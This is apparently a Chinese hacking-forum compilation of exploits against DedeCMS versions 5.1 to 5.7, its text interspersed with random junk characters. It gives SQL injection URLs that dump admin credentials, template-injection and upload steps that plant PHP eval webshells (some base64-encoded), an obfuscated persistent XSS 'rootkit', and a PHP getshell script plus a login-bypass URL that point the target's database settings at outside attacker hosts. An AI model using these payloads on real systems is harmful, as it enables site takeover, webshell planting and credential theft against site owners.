|
|
1 h% x; o1 h3 y. ]! v: g) bDedecms 5.6 rss注入漏洞
) h& r- E+ V$ k6 Yhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1/ d2 J5 K z/ M& S8 I
2 P( }& A8 c- O) U+ M
# I4 s3 w% C3 v. H- l0 V
9 f$ |! E0 {* A) Y* U- I
! J, F: ` A% G- F( _' h# W/ k- B' ]2 {1 k0 P! V2 _& Z& {. ]
' `- P) ^8 M6 {% i2 V
5 O' k' b. _ i* z, Z- G! Q2 T
j7 J6 n, Q2 I6 Y2 N# w
DedeCms v5.6 嵌入恶意代码执行漏洞
. H0 b. b B+ a6 W/ ^注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
! e8 Q3 x+ B, C( \. n, H发表后查看或修改即可执行
* l9 m$ C0 m b/ i& Ba{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}: k- P) K# z2 J( V1 a
生成x.php 密码xiao,直接生成一句话。5 C: |3 i S# `
5 u' ^: o$ M& I' L* W
/ P9 n! b: z$ i8 w- P* L% W
; S* v5 { S1 q3 v: _# u& U+ B. p
' x1 J- c& c i# y; W" X* ]' B, |9 t
2 n' }- D! i f: W) T' i$ ?. ]" p, @6 r! t' C
8 c" v, d2 f9 x# l) R5 G$ o
: ^, A$ N ?" K9 i2 ]! ADede 5.6 GBK SQL注入漏洞/ E# N8 V) y' V2 j+ Y% d3 N
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
* M4 C2 M6 X( E: v" Rhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe5 h: Q2 @6 ]" A# O
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7, d2 A/ u% D) C8 J' S7 x
6 R' n. @; F( B8 \; l) R+ }0 K; R2 t/ `% W8 n' d# V5 ?* M
n0 g) K9 G) u/ R# g; f
; U1 V6 _* z6 w' r# c: P2 z4 r- a7 q$ T A: }9 k
% p2 X5 r$ O2 a& R, f+ E# w
6 _1 H2 M! q! v& G/ P5 G% [1 c% u/ T5 j; h* T) m' _( A/ ^7 W' [
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞0 y4 x' k* `3 m4 I
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
~1 {$ U C1 C" K
* h- g) B6 C# F+ J6 K% F- q% o+ j" a/ F& O( M. O9 c
# H- \4 b' ?; t# S. L/ S) [
9 @; P; s. h" c; b
# S7 G. T- `* ^1 z9 F7 l5 l, O7 J
DEDECMS 全版本 gotopage变量XSS漏洞
- V- F. x$ I! l; C6 n1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。 ! O! E' ?7 C* q
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x=" g& h( F5 w* S$ R0 y! j: ^
( a' m1 E- {& G: A* m6 [0 E- o
# v' O7 x7 y' c- u9 _& T2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。
: F; ~ V$ D. P7 W t7 B& Dhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda9 D# P! x% i- o0 _ B
: L4 b- `1 Z0 J; w; d% M# f
% Q1 c0 g- v5 \3 Zhttp://v57.demo.dedecms.com/dede/login.php* N2 W0 W$ y2 z% n( m4 c% E e
$ {7 i) \8 O3 W( W4 \2 V! f& x% `
; f6 N+ w' D s$ Acolor=Red]DeDeCMS(织梦)变量覆盖getshell5 d& B- w2 p: W% U2 c
#!usr/bin/php -w; o* G- H. R6 j+ h# k
<?php+ D% L6 i% k( L" ?2 S
error_reporting(E_ERROR);( T6 h5 V g4 j5 D
set_time_limit(0);
! D, D$ q4 z L( m! ?" E8 yprint_r('. v! `) e, C! J6 u) G' @% T
DEDEcms Variable Coverage
^' V: o5 c! \; B/ dExploit Author: www.heixiaozi.comwww.webvul.com
$ C/ S4 }5 u1 ], v4 i, R, g);
: X6 R P# w4 |8 {4 v$ j, jecho "\r\n";
) M3 }3 c4 B/ [! Y9 d- p2 Xif($argv[2]==null){
+ q7 `0 W" x+ ^5 i6 Wprint_r('
: w$ z1 Z g. [3 E3 N& ]+---------------------------------------------------------------------------+
9 c1 ?2 I2 Y1 h8 h9 MUsage: php '.$argv[0].' url aid path
9 B0 e5 d) ]" Iaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/% m! e: {* D1 d5 @9 }# y3 z
Example:
& a0 d8 g+ h' f% R ^4 V( lphp '.$argv[0].' www.site.com 1 old
1 [* s/ ]( \5 p3 O+---------------------------------------------------------------------------+
! i4 h- F$ H* u# ]* Z');8 I8 c. I* t, K1 R0 b6 D
exit;
& N! s, ~- _. z- ]}+ Z- @* C: L3 G3 ~. m
$url=$argv[1];( v: X6 G( ^- O" l7 ~6 C
$aid=$argv[2];' h2 u) \& M* @& s+ A; z P
$path=$argv[3];
( t( h, u4 _, R, `2 ^$exp=Getshell($url,$aid,$path);& ^9 e" x* A( N3 M- q
if (strpos($exp,"OK")>12){
/ B; `8 F& ~) K F+ `echo "5 ?) p4 ]9 [' I; z" {: H% }3 E
Exploit Success \n";
) _! e. i3 i9 N* E- K! ]- n5 x1 N+ rif($aid==1)echo "8 Z0 q' Q4 y# J0 o! u
Shell:".$url."/$path/data/cache/fuck.php\n" ;
6 H, S0 }8 A U: H5 n" ?2 ~5 |2 I$ G7 d) Q6 }0 B. B1 P3 k, u
k- N& I" Q( Z4 X( aif($aid==2)echo "
0 B# i7 {8 I3 e* G5 b' F' V6 L! d- ZShell:".$url."/$path/fuck.php\n" ;
) g6 N2 b% o4 t% N1 ~! v
9 \% ]0 o! k+ C3 o) E& G; L' w1 n- Y
if($aid==3)echo "
$ \5 X, l9 C7 d+ W( H! K8 o' `Shell:".$url."/$path/plus/fuck.php\n";
7 M& P$ ^* n! M9 U1 z$ a- m$ I3 S- W2 @" z, \1 X" f# c6 r; l
$ {7 y* y1 U4 |3 J+ `}else{
/ t+ S+ `! _) ]- \* Z8 Zecho "9 V, {. a0 p0 s9 V
Exploit Failed \n";! O! ]0 r7 x- a3 Y' x/ a
}& p- O0 w# R8 Y: g2 {, O
function Getshell($url,$aid,$path){
! z9 n& w2 ^% g$ s# W$id=$aid;# r1 ]: H0 H$ \ U, ~8 e$ r k
$host=$url;- z8 w; N* c1 K' W
$port="80";% s2 ^" }+ S: c5 m- q4 v: g8 ?
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
. I# _8 c7 P9 H* Q x- g. O$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
3 ]1 }2 O: |! G' v, G, k0 \$data .= "Host: ".$host."\r\n";
' C9 v7 C& |' O9 U L: @$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
" V2 o" Q( l1 `7 T, R# d$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 m! c$ s9 A5 i2 N
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
1 ], W% {2 R: s//$data .= "Accept-Encoding: gzip,deflate\r\n";
* W5 h" F1 s. M) i1 C& Y& F$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";& Z* d9 H7 |5 N9 s7 T U3 F; B
$data .= "Connection: keep-alive\r\n";6 ~* Y$ I. e; r( I
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";8 L0 m% i, }6 p
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
! Z6 C) y& w1 F( ~% X$data .= $content."\r\n";3 p' ^ E- P: B% p$ C2 `
$ock=fsockopen($host,$port);
% H, R% I% y+ r J, `if (!$ock) {* H" h0 |" e( @" v [
echo "
. g+ r* o- \8 B- |0 M% M0 ENo response from ".$host."\n";
- Q6 K$ c& n5 B3 N8 u}
" {6 g( w; e1 O: B/ m* jfwrite($ock,$data);
8 p( |/ ~+ U( V+ n9 p5 [5 i+ Q$ p; zwhile (!feof($ock)) {
8 k7 O. ^% j4 a" o! H1 O+ H+ e$exp=fgets($ock, 1024);
* h2 n2 M/ j, T( {2 r+ Hreturn $exp;
& L( Q4 c' \0 p& H3 @}4 q% b% [4 e: p# q
}
5 T4 [# i$ d5 d
$ @( s4 Y% o8 E, u; W" ~8 J. E- }! `4 s" z
?>
. w6 A" ?% O2 b0 J( `9 b! @' ]5 U/ x+ \
: z2 ^7 M! g1 v l# m7 A8 D! S
/ A! G- l, I7 M9 `" l
0 }4 @/ O4 Q0 h4 E
5 i' Z: U% I5 i; l
" |' k; m9 x7 c* c( P9 r
! I1 z! Y' o0 g
7 \$ X! D: ]! f0 x) W
' s3 U4 b! h7 M9 e. p& K$ n* ]/ `; x3 E; p0 W8 L% r5 q
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)4 o! t! a$ K2 k# }$ c- U6 i [
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
$ R+ `1 H( u+ l" \& `* y" s) U# {' [: `5 g" x& I/ U/ w
( a+ F0 U9 o! L; Z- j
把上面validate=dcug改为当前的验证码,即可直接进入网站后台7 O- F- N9 C- K" C# f, L
0 b! I, v" L8 Z7 T# Y; S% d
$ A6 c; [% z2 _, Z' p3 s' N此漏洞的前提是必须得到后台路径才能实现2 G; ]4 A) l9 Q k
6 k# m* W3 ^, Y$ ?8 c
, _+ [* Y) X: @* _/ ~$ L0 K7 y
: I3 P8 U* g2 \' h# ]3 u9 y( t4 u
# Y2 M& y6 ^+ s, F w0 D
: \* D" T5 r' ?( k+ k8 `6 T6 H+ A c' u
" q$ n2 V/ u2 N2 A1 p# a' o+ t3 `0 j9 @$ [
$ L4 U! f& [0 M3 B) N p3 g& M9 G3 o: R$ ^3 B& ?6 h7 t
Dedecms织梦 标签远程文件写入漏洞0 J; }2 h4 E' X, }
前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');/ ?4 _9 {! z# J! V1 E6 @; D* @/ P
0 c* f3 {8 Z, @" Q
3 b }( Q& Z. P6 J4 b8 y- e再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
; n6 s# P+ X+ |- \4 g. v0 }; `<form action="" method="post" name="QuickSearch" id="QuickSearch">0 [4 P/ ^" s! B, V2 R& L
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
1 w* _ ?6 c: F% S+ P<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />- c( y- J8 o! H/ a+ i. V7 f8 O
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
7 q2 n, M' K% K+ R" X$ o<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />5 \' ?* k/ d( b! L" _2 i
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />3 Z; t6 }3 |+ q @
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
) l& n( _7 Z. q1 Y- X<input type="text" value="true" name="nocache" style="width:400">
$ F. X' X4 l0 L1 |<input type="submit" value="提交" name="QuickSearchBtn"><br />! d' A% m. _7 J* s. H
</form>
: ~. ]0 [) J- w7 {. I& A<script>* N! \" Y" n# a2 ^) C- S
function addaction()
; y) O7 r# J4 |2 y{
3 ~/ [3 _, g: }0 y+ g& Edocument.QuickSearch.action=document.QuickSearch.doaction.value;' [$ F4 l+ e) {; P
}% W/ b \% d$ [
</script>
, `+ i6 {1 x2 z. t. X' d$ b6 L+ m5 p# _+ G
% C6 K6 f- {- o' j" s6 U- ?
9 e* S8 U+ t- H; F5 ^
4 V0 v q M6 V6 ], i, W
9 J5 o! e* L4 f' @ j, p8 S" p) X2 o
3 ^5 v/ s# B$ O8 Z+ ^8 S0 a
0 k& q2 A' j' h
+ `. N `7 l& W4 d
3 m+ y% _* [: ]; j$ x8 H3 J' lDedeCms v5.6 嵌入恶意代码执行漏洞
- i) `8 \$ N' i3 z' L, s: E7 E注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行
; c1 n. y1 h, F* o; b3 ea{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}" Q K |0 J" J6 H' p, h" S7 U
生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得
& s. s4 Z: w9 S% W. J& \Dedecms <= V5.6 Final模板执行漏洞8 k$ j! B( ?% s
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:) P. ^# M% N* k1 L# u) n9 ]* x3 o
uploads/userup/2/12OMX04-15A.jpg" e8 Y: p f' A1 {9 [9 T: _
6 y/ {- C/ R B0 I/ C8 h! w
( K# t5 \! w- C/ x( V2 T4 h+ A, e模板内容是(如果限制图片格式,加gif89a):/ |2 W1 U: j7 J1 B# U
{dede:name runphp='yes'}* I/ O' F8 [( k3 r) v- ?+ e
$fp = @fopen("1.php", 'a');
; D: [ m% \& Z2 z@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
; F2 e+ g4 o, P@fclose($fp);5 |. ~+ B) g, i
{/dede:name}
& M+ w6 ?+ m0 V9 H; Q2 修改刚刚发表的文章,查看源文件,构造一个表单:
+ Q9 D# G v: d<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">7 P/ |% l! P7 F G1 |
<input type="hidden" name="dopost" value="save" />
; D9 m, N7 W9 C8 v<input type="hidden" name="aid" value="2" />% S9 q# G) r" ^7 t, T
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />6 }7 B9 E W3 A( n5 p
<input type="hidden" name="channelid" value="1" />! U" K: u$ a! W0 n% E/ @
<input type="hidden" name="oldlitpic" value="" />
% C! S' @4 V) z* _4 ?* K6 R- X<input type="hidden" name="sortrank" value="1275972263" />+ b9 J# |7 K5 k1 `0 ~* M6 h( N5 J
$ J# ~6 i, [. B5 t! \9 q, E* x6 s
<div id="mainCp">* j0 Q5 X# M9 c
<h3 class="meTitle"><strong>修改文章</strong></h3>
9 I& j- T8 _1 K0 G4 i* D5 C- P
+ f: @6 d. }: J1 B, ~* P( ]4 s3 ]
! O) d: K$ ?5 I+ f2 r<div class="postForm">6 V: g0 J' ^! X' w
<label>标题:</label>
# H* o; `, W: Z. |$ @<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>" F( a. x& {, j5 g; t0 z
; [& L/ ~$ k; U0 h% V( p- g& O F0 x( w% e) X2 k
<label>标签TAG:</label>
# E, ?7 E. J9 Q% |<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)5 [, ~& W- ?4 s) x# P
3 ^1 \ C1 Q! ?" V, M* Q$ x+ D5 F* D- c( U
<label>作者:</label>- c8 T/ [+ z( }* u0 u4 N# A
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>& o" w- J) m: m- H; ]
+ n1 i1 F' c. v" W
6 N% A9 O5 @: I, d$ K<label>隶属栏目:</label>
4 b2 O* r/ ~+ a6 N% t6 M! s<select name='typeid' size='1'>
) I% j7 E6 ^9 N) }. j<option value='1' class='option3' selected=''>测试栏目</option>( N/ ^; Y+ n' D
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)0 T$ l C0 W( i+ s5 |
6 Z5 W( F" n; r, f3 }; [# |$ u
) E; ~6 p6 @; z. ~: C<label>我的分类:</label>+ H0 P" d: i9 u
<select name='mtypesid' size='1'>
( Z* K1 x: {9 R u1 Q3 l<option value='0' selected>请选择分类...</option>' Z2 t8 J% \0 z& R2 z1 p! V
<option value='1' class='option3' selected>hahahha</option>4 W+ u5 c3 Y* \
</select>
# r1 P/ W" d8 k7 I, a7 |1 @% ?$ v" s8 q8 l7 x
6 [7 t5 ?2 Z6 h* ]9 ~9 @/ ~ b
<label>信息摘要:</label>
/ I a* u! g) [- q) ^& {! l<textarea name="description" id="description">1111111</textarea>0 ]- K2 K; M( g9 F) |
(内容的简要说明)* B) e9 M% J' y
8 S8 V, x7 S# W2 J
; {) L6 S: S/ ^' J<label>缩略图:</label>6 L( I4 F/ s4 Y& V
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
3 t! ~. n. E+ `9 D- d3 g- M& [$ C$ m8 S9 U p8 O! s9 ~4 t
; R# {, A! T: m5 r: B5 @7 p( [<input type='text' name='templet'3 t2 e7 L3 e' p' D* c) e$ ?2 G" ]
value="../ uploads/userup/2/12OMX04-15A.jpg">
; f0 p% ~/ y+ z5 _& ~. \+ a7 d<input type='text' name='dede_addonfields'! b. t. f& D. ^) G
value="templet,htmltext;">(这里构造)+ [3 o9 R$ i0 n
</div>
8 w3 ?4 L2 z$ @' F, V7 I$ `3 V' k" U( v' Q. Z
; k, K2 S7 X0 P& g5 T/ e
<!-- 表单操作区域 -->/ C# H& i8 b& K6 u) |: p
<h3 class="meTitle">详细内容</h3>
8 h4 M; S8 R/ A# n1 D4 w; `' ^8 V7 K8 T# w
$ E9 _4 W2 V# m& S9 Q<div class="contentShow postForm">' u6 h: I: y, z1 z
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
I3 b0 C; p) N, k( K
( X1 j' X' \" V1 E0 J |$ \+ {1 D' w8 q# D3 t* f" }& d& K$ _
<label>验证码:</label>+ D" F# [5 e# {" O
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
$ ^' W" g1 g1 N5 e' F4 r+ j. h1 h; v<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
8 ~: v8 z/ a2 o% o8 H- J0 l2 \4 ~' ]) r' y/ \3 w. ^& p) a4 E
8 h4 d4 j% v' a<button class="button2" type="submit">提交</button>
+ w v* O+ Q6 D& |' a5 s ?8 E<button class="button2 ml10" type="reset">重置</button>/ @& }6 t8 W6 I4 E' Z# _- b/ o
</div>
7 P* b2 {! u F" k5 w% k# r- L8 X5 ^9 k* p: _0 R: H0 w7 z
S& Z/ o8 J, q1 S4 _* @</div>
! O' k; r1 U3 M% h+ A- D0 t: z: j1 w5 @+ O# ]; m" G, I" l, S# W
6 A/ n; O& j4 @; Y</form>
9 k: s. r ^9 }2 d' Q
$ t( \& b& X. w$ n# i: p7 w
) P' m3 A, X2 O6 T( |* ?& E7 z提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:! Q( u/ N* ?) Y
假设刚刚修改的文章的aid为2,则我们只需要访问:
$ W* M- [3 r1 Z6 ohttp://127.0.0.1/dede/plus/view.php?aid=2: T2 B7 H+ P3 {! [7 Z$ h
即可以在plus目录下生成webshell:1.php6 E# W3 `, ]) g0 T
6 T( D' j. ?. G' q# Q+ E7 U
0 x+ t# e' N* T& y$ F
4 }1 |9 V$ ~' q0 C) F+ `% }3 E
& f0 M- Y, P1 X' K; \9 s, u8 y* P7 U; @- u" ]: t! N
' k, U% q, J. E" C5 w) R, p
9 a, K2 P% H! ?) f/ L, }: y4 W4 `9 u4 y
& \( }0 H( ~8 r: `: l
! x& k v& ]6 n% i& v; ]9 [" _, P+ [ u. B, }
' [; i; j- O, ^% T' o
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)/ J$ y+ U2 c. W7 r7 p* T/ m
Gif89a{dede:field name='toby57' runphp='yes'}6 Z. ?2 p* a4 b) k1 {( Z" ^
phpinfo();
. O j- X0 E& j/ x! Z5 Z{/dede:field}
/ z3 d# {# i& y. u8 F4 y! U保存为1.gif
5 j/ e" S5 L3 c8 W<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> 9 z& y% e' U7 v+ _2 a( h0 K
<input type="hidden" name="aid" value="7" />
, G% Y6 P) {/ x3 P/ Q9 j3 B1 H5 J<input type="hidden" name="mediatype" value="1" />
) A& E6 _* a$ Z" V$ K6 g; G<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
5 T% [- E5 _. p5 s9 l2 Y. ]7 v<input type="hidden" name="dopost" value="save" /> # T" v) ~& H: _9 l: P: I
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/> ' k, r* V/ ?5 ~
<input name="addonfile" type="file" id="addonfile"/>
4 B- \6 d P+ B1 O; h# y% I8 ?, J<button class="button2" type="submit" >更改</button>
) q0 z! R1 U* R0 s2 E# a& f) o0 w: P" w</form>
) j! U" _* x5 \* y( m, ~+ D0 `/ p1 F/ F) f/ s
$ m6 l- U6 v/ N1 Y7 k
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
$ B0 J* X/ m& u发表文章,然后构造修改表单如下:7 J- X! W% O y
- a2 s- R! p$ `0 l
0 \2 V0 i* H& d0 r( a w
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> + p6 G# ^/ J& r- \; m# s0 a
<input type="hidden" name="dopost" value="save" />
* ^8 x& t$ }$ u+ L; m/ n5 h<input type="hidden" name="aid" value="2" />
X+ }$ ]2 M$ b2 d2 ?<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> ) I; O, f* f, [5 A! c0 m! g% ` `
<input type="hidden" name="channelid" value="1" /> + r4 Z% R+ }* |. g y6 j( z8 N
<input type="hidden" name="oldlitpic" value="" />
! ~4 n; ^8 Y# K: z* T1 s+ x/ F<input type="hidden" name="sortrank" value="1282049150" />
+ w% R4 D& O$ ~' D+ z. v" D7 @7 ?<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/> 4 r* u1 R8 p; `/ h6 ~1 }
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/> * y- K9 W# j" b3 U# U/ ]0 b5 ~
<select name='typeid' size='1'>
; |8 j4 X7 X4 ~4 l! C9 z& C" g8 `<option value='1' class='option3' selected=''>Test</option> " D, q) B. n& z0 P3 ]7 W/ v ]
<select name='mtypesid' size='1'>
0 [$ x8 _$ n c% z! U1 ^! H<option value='0' selected>请选择分类...</option>
7 c3 J9 H' L- l0 a<option value='1' class='option3' selected>aa</option></select> - i7 u7 ^' f, _/ N9 R& b
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea> % q g! X" j' x7 N1 U9 I7 Z8 T6 C
<input type='hidden' name='dede_addonfields' value="templet">
7 G' \9 c w) I<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
6 z; Y W, x. s* l$ d) ]8 y<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> ' ~2 a( d c* W
<button class="button2" type="submit">提交</button>
5 v, j1 ?& Y0 |, Y( l- ]* t" f</form>
2 w& l1 z" U1 m" c. I$ Z- I! F( N6 e8 S1 U, |4 T
0 `# O1 L0 k" ^. b$ r/ d! \' E7 e) \" x( z
5 R, [- ~. N+ n( I) n
2 }& N& s p$ M/ j
( \" E1 _: Z; Z6 f `5 \0 B$ `1 m: W' [: I% W& m: a/ E
2 ]" z5 L- ?, J+ k% `
3 d) K& c+ A) x1 X3 x1 E. e8 A! {# i* y
% _2 K6 r1 W+ L" l+ @4 K9 Y* L
$ c6 o' @7 j7 @* ~' l+ P+ F2 p
织梦(Dedecms)V5.6 远程文件删除漏洞
+ j! f( S7 }$ h. J) p! Qhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
% y8 }8 X( Z/ m. p- ?: ?' N- l4 h8 c% _6 d
9 M: j- j" d8 j- y9 O: T/ I D% _1 f7 O! o
/ b1 Q: D* a' M/ f! i5 ~) _
3 w5 Q8 N& I9 t' `4 U0 y8 D
0 B/ `' D5 Q/ s9 ~
) T# @) L9 O9 F$ t/ V+ _9 x/ Z: I( } q+ P; {! Z
" P) _# Q0 O3 P) r& B% |7 G2 d9 I- W. G
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
7 K2 Y7 y2 p# f; qhttp://www.test.com/plus/carbuya ... urn&code=../../
( a6 t% D P) h; v- ~$ l6 U& z/ }1 J, v% d4 J. }% L+ H
2 i2 {; ]9 }9 Z) Q. z+ B7 a
3 Y& ]' p+ m, s* d! a) u& c6 @; ~) ]* i6 d' g9 `7 l, y
; Y8 w$ |; G8 q! M
3 K+ P. m) P }1 C6 [ k" D0 d4 e' d+ `% F( @
7 J2 F: z; H$ i" @9 O+ W! N
, h$ z/ H5 c7 |( @; b
- y3 q$ l& W% UDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞 5 B3 x1 m9 ]9 y
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin` L m4 B% U8 J- ]; H; e
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5# y+ A0 B+ u4 m& X* Y2 v: ?5 `
7 v+ y# g7 R% I$ I$ Q7 E0 |* s3 n i7 l9 w2 p5 P. H- K/ L
! ?3 A5 x/ X7 b! I
% ` k) e8 d% f
$ f7 O* D5 A$ t
6 @# X8 \! M+ g7 s! T! u& ?- Z" ], j/ j& `, D2 L& N" S4 C6 S
8 l& y4 {- x) u: L" D3 U9 c- l
5 d0 |% e% X4 m! R( h9 p% t+ \; G9 Z5 A; r3 E$ x3 _
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞! ^; |3 `" ]5 L7 X# E
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='8 I. U8 F/ L0 U f
- D4 l: v7 i9 ~: ^, I+ G+ C
9 w& S8 h7 {3 ]3 T* t; o; V* p. I, n9 z1 {* \; W
! D6 H q( G6 |4 G9 E" l
3 n8 S. H* u+ d$ o5 C. J, R
# [' O9 b: F( N; g6 ^0 A& k+ Y. M3 g) }1 o
1 }* }; r g2 z" K" j
. s8 J9 V4 p( D3 ?$ {3 R. i5 U$ F4 ?
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
